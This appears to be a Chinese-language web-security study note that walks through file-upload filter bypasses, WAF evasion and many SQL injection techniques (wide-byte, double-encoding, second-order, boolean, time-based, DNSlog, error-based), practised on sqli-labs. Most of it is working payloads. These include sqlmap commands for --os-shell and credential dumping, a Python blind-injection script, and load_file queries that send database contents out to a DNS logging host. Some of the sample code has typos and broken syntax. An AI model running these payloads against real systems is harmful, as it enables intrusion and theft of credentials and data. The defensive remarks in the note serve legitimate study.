后端:扩展名检测,文件格式检测,MIMETYPE检测,内容检测

写入:文件重命名,杀软查杀

访问:无权限,未知位置

客户端检测绕过:

  • JavaScript检测:通过浏览器提交上传请求前,触发检测用JS脚本进行检测
    例如:普通的表单上传

  • Flash AS脚本检测:上传用Flash中,提交上传请求前,触发检测用AS脚本进行检测
    例如:DZ的头像上传

  • APP上传检测:
    检测写在APP客户端代码中,或调用的HTML页面中

客户端检测一般只检测文件扩展名,客户端进行的检测,可通过对客户端代码的一些修改或直接拦截改报文即可绕过,所以这种上传限制基本等于没有

前端JavaScript检测绕过:

  • 查看onchange.onsubmit等事件
    onchange事件会在域的内容改变时发生

onsubmit事件会在表单中的确认按钮被点击时发生

  • 删除掉相关事件中的检测函数

    练习:

可以设置一个文件上传环境,环境只允许上传图片例如jpg.png等,上传一个内容为phpinfo()的phpinfo.php,提示我们只能上传图片类型文件,当前文件类型为php,这种时候可以通过F12或者右键审查元素查看相关表单里的事件属性

,可发现这种情况属性的值一般是对文件后缀名进行判断的JS脚本checkfile()。

修改方案很容易,就是把事件属性删除然后继续上传,即可上传成功弹出phpinfo的页面

提交报文修改检测(前端检测通用)

  1. 首先选择正常文件进行上传
  2. 而后通过BP进行截包改包或改包重放完成文件上传
    这种方法前端绕过检测中通用,无需理会具体前端的检测代码,直接绕过前端进行上传报文的修改并提交

练习:

环境只允许上传图片类型文件,我们上传一个后缀名为jpg的phpinfo文件后截包,可以看到数据包里后缀名为jpg,修改为php然后放包,可以看到文件已上传成功,然后访问文件就能进去phpinfo页面

服务器检测绕过

检测内容:文件名(一般为后缀名).文件内容.MIME/TYPE

MIME类型检测绕过:

MIME是描述消息内容类型的因特网标准。MIME消息能包含文本.图像.音频及视频以及其他应用程序专用数据,浏览器会自动根据所上传的文件的拓展名对应到相应的MIME类型上

代码实现:

1
2
$uploaded_type = $_FILES['upfile']['type'];
if(($uplpaded_type == "image/jpeg" || $uploaded_type == "image/png"|| $uploaded_type == "image/gif")){

常见的白名单MIME TYPE:
|扩展名|MIME TYPE|
|:—-|:—-|
|jpg|image/jpeg|
|png|image/png|
|txt|text/plain|
|zip|application/zip|

因为contenttype是由浏览器自动生成的,属于是报文的一个内容并发送给服务器,所以我们可以随意修改并不影响上传文件的内容

练习:

在MIME限制了文件类型的环境中上传其他类型文件,上传phpinfo.php并截包

可以发现并不是contenttype并不是我们所期望的类型,把contenttype的类型改为所期望的类型重发包,访问文件即可弹出phpinfo

文件内容检测绕过

  1. 简单文件头检测
    文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分

文件头的起始部分中一般开头标记文件类型,如gif的文件头为GIF89a或GIF87a

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function isImage($file){
$fh = fopen($file,'rb');
if($fh){
$byte = fread($fh,6);
$fclos($fh);
if($byte === false){
return false;
}
if(substr($byte,0,3) == "\xff\xd8\xff"){
return 'image/jpeg';
}
if($byte == "\x89PNG\x0d\x0a"){
return "image/png";
}
if($byte == "GIF87a" or $byte == "GIF89a"){
return 'image/gif';
}
}
return false;
}

上面代码是通过文件头的起始部分进行匹配,比较简单的一种文件类型检测方法,这种简单的只对文件头进行简单的匹配的方法,可以通过在上传的文件前追加合法的文件头进行绕过如:GIF89a

练习:

老样子在环境里上传一个phpinfo.php拦截包并上传,将contenttype改为image/png,还是没通过说明文件类型被识别出来了,我们在文件内容中加入GIF89a再上传,可以看到上传成功并访问成功过phpinfo,前面的GIF89a被当做文本内容识别

这里再用Jpg做尝试,先记住jpg的文件头为\xff\xd8\xff,在文件内容这一处用url编码的形式写好%ff%d8%ff然后解码再上传可以看到上传成功并成功访问phpinfo

2.完整文件结构检测

通过调用图像函数(如getimagesize/imagecreatefromgif/imagecreatefrompng)进行检测文件是否为图像,需要文件内容保持相对完整,所以无法通过上种追加头部起始字节的方法进行绕过

代码实现:

1
2
3
if(@imagecreatefromgif($uploaded_tmp)){
if(move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir.'/'.$_FILES['upfile']['name'])){
echo 'xxxxxxxxx'.$uploadeddir.$_FILES['upfile']['name']."\n";

针对这种检测,可以将图片文件与欲上传的文件进行合并来绕过检测,可通过copy命令来进行文件合并
合并后的文件只要未经过清洗或者缩放等操作即可通过检测,并保持欲上传文件的完整,由于上传文件的图片部分在解析为PHP时会以乱码显示,建议和尽量小的图片文件进行合并,否则会有大量乱码

copy命令:copy /b 1.jpg + phpinfo.php 1.php

3.恶意文件内容检测

检测提交内容是否包含webshell等数据

推荐使用weevely进行尝试,kail中自带或者开源的webshell收集项目

www.github.com/sunge/Weevely 或者www.github.com/tennc/webshell

常见关键字:

eval(.

base64_encode(

assert(

java.lang.Runtime

java.lang.ProcessBuilder等

小技巧

  1. 文件上传过程中,如果存在waf拦截一些拓展名,可以通过尝试多个filename属性
    例如文件限制为图片类型,在数据包中传filename=phpinfo.gif filename=phpinfo.php即可绕过

2.目录可控时,可以尝试使用目录穿越的方法(../)

2.1扩展名检测类型可控

  1. 可以从后台修改允许/禁止的扩展名类型
  2. 提交参数中存在/禁止的扩展名类型
  3. 前端单独抽出了文件扩展名进行了提交

原理

掌握mysql函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=绕过WAF防护

代码实现:

(部分)

$id =$_GET[‘id’];

$id = blacklist($id);

$sql=’select * from users where id=’$id’ limit 0,1”;

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

function blacklist($id)

{

$id = preg_replace(‘/or/i’,’’,$id);

$id = preg_replace(‘/AND/i’,’’,$id);

return $id;

}

1.分析代码:

使用了Blacklist函数过滤了’or’和’and’

2.绕过限制

大小写变形:Or OR,oR 等价替换:and = & or = || 双写等

黑盒绕过:

  1. 架构层绕过:
  • 寻找源站,针对云WAF
  • 利用同网段,绕过WAF防护区域
  • 利用边界漏洞,绕过WAF防护区

2.资源限制角度绕过WAF

  •  post大body
    

3.协议层面绕WAF

  • 协议未覆盖WAF
    (请求方式变化:get>post 参数污染)

4.规则层面绕过

  1. sql注释符绕过
  • union /**/select
  • union/aaa%01bbs/select
  • union/aaaaaaaaaaaaaaaaaaaaaa/select
  • 内联注释:/!xxx/

2.空白符绕过

  • mysql空白符:%09.%0A.%0B.%0D.%0C.%A0.%20,/xxx/
  • 正则的空白符:%09.%0A.%0B.%0D.%20
    exa1:union%250Cselect

exa2:union%25A0select

3.函数分割符号:

  • concat%2520(
  • concat/**/(
  • concat%250c(
  • concat%25a0(

4.浮点数词法解析

  • select * from users where id = 8E0union select 1,2,3,4,5,6,7,8,0

  • select * from users where id = 8.0 union select 1,2,3,4,5,6,7,8,0

  • select * from users where id =\N union select 1,2,3,4,5,6,7,8,9,0
    5.利用error-base进行sql注入:error-based sql注入函数非常容易被忽略

  • extractvalue(1,concat(0x5c,md5(3)));

  • updatexml(1,concat(0x5d,md5(3)),1);

  • GeometryCollection((select * from(select * from(select@@version)f)x))

  • polygon((select * from (select name_const(version(),1))x))

  • linestring()

  • multipoint()

  • multilinestring()

  • multipolygon()

6.mysql特殊语法

  • select{x table_name}from{x information_schema.tables};
    以注释符绕过为例,采取工具BP进行fuzz注释符内的字符获取payload

sqlmap常见命令

sqlmap.py -u ‘url?id=1’

sqlmap.py -u ‘url?id=1’ – current-db

sqlmap.py -u ‘url?id=1’ –current-user

sqlmap.py -u ‘url?id=1’ -D security –tables

sqlmap.py -u ‘url?id=1’ -D security -T users –columns

sqlmap.py -u ‘url?id=1’ -D security -T users -C username,password –dump

sqlmap.py -u ‘url?id=1’ –os-shell

sqlmap.py -u ‘url?id=1’ –sql-shell

sqlmap.py -u ‘url?id=1’ –file-read

sqlmap.py -u ‘url?id=1’ –file-write 本地文件 –file-dest 目标目录及文件

宽字节注入

原理:

GB2312,GBK等这些都是宽字节,实际为两字节

常规输入’后会被处理为',然后进行编码为%5c%27即',代入sql为id=1' and这明显是不能注入的

当mysql在使用gbk编码,会认为两个字符为一个汉字

%df’会被处理为%df',进行编码%df%5c%27,其中%df%5c组合会被认为是一个汉字(前一个ASCII码大于128才能到汉字的范围),id=某汉字’ and可以注入

方法:

在注入点后键入%df,然后按照正常流程开始注入

less-32

黑盒测试:在可能注入点后键入%df进行测试

白盒测试:

  1. 查看mysql编码是否为gbk
  2. 是否使用preg_replace转义单引号
  3. 是否使用addslasher转义
  4. 是否使用mysql_real_escape_string转义

    练习:

id=1’

回显变为了1'

id=1%df%27

回显多了个不可见字符组合成了一个汉字并报错,很明显我们可以开始注入,按照以前的流程

id=%df%27 union select 1,(select user()),3–+

1
select * from users where id='%df' union select 1,(select user()),3--+'

回显当前用户,剩下的直接按照之前的套路即可
也可使用sqlmap

但是如果不进行处理直接键入

比如sqlmap -u ‘url’ 是不会显示有注入点的需要在url加一个汉字参数

比如sqlmap -u ‘url?id=1%df’类似 这样即可

重点还是是否设置了编码gbk这些宽字节的编码!!!!!以及那些能进行转义的函数

防御:

  1. 设置utf-8,避免宽字节注入ps:不仅在gbk,日文和韩文都存在宽字节漏洞
  2. 使用mysql_real_escape_string时一定要设置mysql_set_charset(‘gbk’,$conn);
  3. 可以设置参数character_set_client=binary

    二次编码注入

原理:

面对php代码或者配置时,urldecode()与本身处理编码时,两者配合失误,可以构造错误消灭\

用户输入id=1%27,php自身编码id=1’,转义为1',代入sql为id=1'不能注入

php代码中放置了urldecode()等编码函数,放置在一个尴尬的位置,与php自身编码配合失误

用户输入id=1%2527,自身编码为id=1%27,此时没有’没有触发转义,函数编码为id=1’,代入sql为id=1’ and可以注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
$id = urldecode($id);
$sql = "select * from users where id='$id' limit 0,1";
$result = mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
xxxxx
}
else
{
xxxxx
}

练习:

id=1’时会被转义为id=1'

变为id=1%2527时,回显为1’并报错可以发现会存在sql注入漏洞接下来直接按照之前的套路

比如

id=%2527 and union select 1,(select user()),3–+

1
select * from users where id =' union select 1,(select user()),3--+'

如果是sqlmap的话跟宽字节注入一个道理需要键入相关参数
比如sqlmap -u ‘url?id=1%2527’就可以跑

黑盒测试:

在可能的注入点键入%2527,之后进行注入测试

白盒测试:

  1. 是否使用Urldecode函数
  2. urldecode函数是否存在转义方法之后

    二次注入

原理

第一步:插入恶意数据:

第一次进行数据库插入数据的时候,仅仅对特殊字符进行了转义,在写入的时候保留了原来的数据,但是数据本身是含有恶意内容的

第二步:引用恶意数据:

将数据存入到数据库之后,开发者认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成sql的二次注入

过程:

寻找插入数据库并会转义的操作,输入参数,参数经过转义函数1',参数进入数据库存储还原为1’,寻找另一处引用数据的操作,将1’从数据库中取出,取出后直接给变量并代入sql,sql注入触发

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = 'select * from users order by id asc';
$result = mysql_query($sql);
$num = mysql_num_rows($result);
for ($j = 0;$j<$num;++$j)
{
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "select * from users where username ='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail=mysql_num_rows($result_detail);
for($i =0;$i<$num_detail;++$i){
$row_detail =mysql_fetch_array($result_detail);
xxxxxx
}
}

练习:less24

点击注册admin’# 密码123,然后修改密码为1314并键入原密码123

查看数据库里可以看到admin这个用户密码被改成了1314,而不是admin’#这个用户的密码被修改了

具体的sql语句是这样

$sql=”update users set password=’1314’ where username=’admin’#’ and password = ‘$curr_pass’”;

所以我们可以这样注入

创建一个这样的用户

1’ union select 1,user(),3# 密码123

然后查看用户列表,可以看到当前用户名能显示我们数据库的当前用户

执行的语句为$sql_detail = ‘select * from users where username = ‘1’ union select 1,user(),3#’”;

这样就能到比较直观的二次注入的效果,不断插入我们的语句就能查询到我们想要的信息

防御:

对外部提交的数据,需要更加严谨的对待,程序内部的数据调用,也要进行严格的检查,一不小心,测试者就能将特定的sql语句代入到查询中

布尔盲注:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,只返回right和wrong。这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的真和假来识别我们的判断是否正确,这就是布尔盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

示意过程:
正常请求,id=1,返回id=1的数据,错误请求id=1’,返回与正确页面不同的页面 (如果页面返回假,说明系统执行的SQL语句为假)

比如:

1
id=1 and left((select version(),1)=5--+

使用语句:

  1. left():left(database(),1)>’s’
    database()显示数据库名称,left(a,b)从左侧开始截取a的前b位

  2. regexp:select user() regexp ‘^r’

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

3.like:select user() like ‘ro%’

与regexp类似,使用like进行匹配

4.substr(),ascii():ascii(substr((select database()),1,1))=98

substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii的值

5.ord(),mid():ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

练习:

环境:sqli-lab less 8

id=1

1
select * from users where id='1' limit 0,1

回显正确you are in
id=1’

1
select * from users where id='1' ' limit 0,1

回显消失
id=1’ and ‘1’ = ‘1

1
select * from users where id = '1' and '1' ='1' limit 0,1

回显正确you are in
将后者的逻辑判断改为2,回显消失,可以判断存在sql注入漏洞

使用left()来进行尝试

id=1’ and left((select database()),1)=’s’–+

1
select * from users where id='1' and left((select database()),1)='s' --'limit 0,1

回显成功you are in
通过此类方法就能对库名,表名,列名进行查询

对表名查询

id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’–+

1
select * from users where id='1' and left((select  table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

回显成功 判断正确
注入流程就是这样,我们可以使用BP进一步提升效率,为字符添加变量,自动化跑(注意下数据库命名规则是a-z,0-9,_

尝试切换为regexp试试

id=1’ and (select database()) regexp ‘^s’ –+

1
select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1

回显成功判断正确
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+

1
select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1

回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符
切换为like

id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+

1
select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1

这种表示匹配以e开头的字符串,后面同理regexp
切换为substr以及ascii

id=1’ and ascii(substr((select database()),1,1) = 115 –+

1
select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1

截取了从第一位字符开始长度为一的字符的ascii并判断是否等于115,这里是回显成功判断正确
然后查表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 115 –+

这里回显失败判断错误,就可以借助Bp爆破字符了,爆破可得101时正确,接着调整字符长度和ASCII的值,直至爆破结束

时间盲注:

原理:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断,这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
$id = $_GET['id'];
$sql = 'select * from users where id='$id' limit 0,1';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
}
else
{
echo "";
}

示意过程:

登陆正常请求,name=admin&pwd=1返回登陆成功的页面,在不知道账号密码的情况发送登录请求,返回登陆失败的页面,构造sql语句,发送登陆请求,返回登陆失败页面,构造语句让程序延时执行,判断信息

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行

核心语法:if(left(user(),1)=’a’,0,sleep(3));通过sql语句取到某个值,用left去user左侧的第一个字符,如果等于a,就立即执行,错误就延时3秒执行

真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

插入想要查询的数据,进行字符串截取,再进行比对

练习:

环境:sqli-lab less10

id=1 id=1’ id=1’ and ‘1’ =’2

进行一些简单的逻辑判断,均为一致的回显

采取上述时间盲注

id=1’ and if(left(user(),1)=’a’,0,sleep(3))–+

1
select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1

很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询
id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+

1
select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1

页面立即执行了,可见就是表名第一个字符就是E,但是这种效率会比较低这里对时间盲注比较推荐使用工具或者脚本
时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url=''
database='select schema_name from information_schema.schemata'
column = 'select column_name from information_schema.columns where table_name="table_name"'
table = 'select table_name from information_schema.tables where table_schema=database()'

result = ''
for i in range(1,20):
    for j in range(48,122):
        payload = '" and if(ascii(substr(({} limit 0,1),{},1),sleep(2),1)--+'.format(database,i,j)
        stime=time.time()
        r = requests.get(url+payload)
        etime = time.time()
        if etime-stime ==2:
            result += chr(j)
            print(result)
            break

这里脚本先对库名进行爆破,爆完库名修改为表名,列名即可

Dnslog盲注

每个网站都有对应的域名比如test.com ,同样每个域名都有对应的ip地址,而将ip地址与域名这两者互相转换的中间人就是DNS,这两者每次转换都会留下一定的记录,我们就可以将这个称为dnslog,其实就是记录用户访问域名的信息

原理:代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过布尔以及时间盲注获得内容,但整个过程效率低,需要发送很多请求进行判断,很可能触发安全设备的防护,所以需要一种方式减少请求,直接回显数据,这里可以使用dnslog实现注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

平台:ceye.io dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息比如 curl xx.dnsurl,xx这里就是我们可以自主输入的命令字符,如果输入的whoami,就会返回当前用户
另外mysql的load_file可以发起请求

例子:select load_file(concat(‘\\‘,’test’,’mysql.dnsurl\abc’));

构造语句,利用Load_file函数发起请求,使用dnslog接受请求,获取数据

核心语法:select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

通过sql语句查询内容,作为请求的一部分发送至dnslog,只要对这一部分的语句进行构造,就能实现有回显的sql注入,值得注意的是,这些数据格式和内容都有限制,需要处理

练习:

环境:sqli-lab less9

id=1 或者其他逻辑判断

回显无效无法判断,如果有注入点就必然是盲注

采取dnslog盲注

id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

1
select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+'

前去dnslog平台就可以看到库名
然后查表名

id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+

1
select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+'

可以看到表名,列名就按照老套路继续走
但是其实效率还是不高,推荐使用脚本跑

原理:

构造payload让信息通过错误提示回显出来

应用场景:

查询不回显内容,会打印错误信息,update.insert等语句,会打印错误信息

代码实现:

1
2
3
4
5
6
7
8
if($row)
{
echo"your login name:'.$row['username'];
}
else
{
print_r(mysql_error());
}

举例:
正常请求:

id=1,返回id=1的数据

错误请求:

id=1’,返回错误信息,语法错误,如果能让错误信息中返回数据库中的内容,即可实现Sql注入,所以我们要想办法构造语句,让错误信息可以显示更多我们想查询的内容

方法:

环境:sqli-lab

1.floor():

1
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));

group by 对rand函数进行操作时产生错误
2.extractvalue():

1
extractvalue(1,concat(0x7e,(select user()),0x7e));

XPath语法错误产生报错
3.updatexml():

1
select updatexml(1,concat(0x7e,(select user(),0x7e),1);

Xpath语法错误产生报错
floor():

1
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));

concat:连接字符串
floor:取float的整数值

rand:取0-1之间的随机浮点值

group by:根据一个或多个列对结果集进行分组并有排序功能

这其中导致报错的就是group by和floor

当id=1’ and select count(*) from information_schema.tables group by concat((select version(),floor(rand(0)*2))–+

1
select * from users where id = '1' and select count(*) from information_schema.tables group by concat((select version(),floor(rand(0)*2))--+'

可以看到报错回显了有关版本的信息,即我们插入的select version()
我们也可以继续查询user(),database()等

按照老方法就是查库查表查列

这里拿查表做例子:

id=1’ and select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))–+

1
select * from users where id = '1' and select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))--+'

或者采用另外一种查数据
id=1’ and select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from 表名),floor(rand(0)*2))–+

1
select * from users where id = '1' and select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from 表名),floor(rand(0)*2))--+

这里如果对返回的数据条数有限制,可以用concat_ws或者limit进行绕过,如果是limit的话,每次都只需要对数字参数进行修改即可,这里可以BP的爆破模块进行替代

extractvalue():

extractvalue:接收两个参数,第一个XML文档,第二个Xpath语句

1
select extractvalue(1,concat(0x7e,(select user()),0x7e));

在上述例句中位置插入sql查询语句即可,报错就会返回我们想要查询的信息

updatexml():

updatexml:接收三个参数,第一个XML文档,第二个Xpath语句,第三个字符串

1
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

在上述例句中位置插入sql查询语句即可,报错就会返回我们想要查询的信息,原理与extractvalue一样,只是多了一个参数
例子:

id=1’ and updatexml(1,concat(0x7e,(select user()),1)–+

1
select * from users where id='1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+'

id=1’ and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)–+

1
select * from users where id='1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)0x7e),1)--+' 

回过头来看,报错注入其实大框架是不变,我们只需要改变查询内容即可就能实现注入,主要是熟练度。(但是报错注入对返回的长度有限制32位,可以用substr对字符进行截取即可)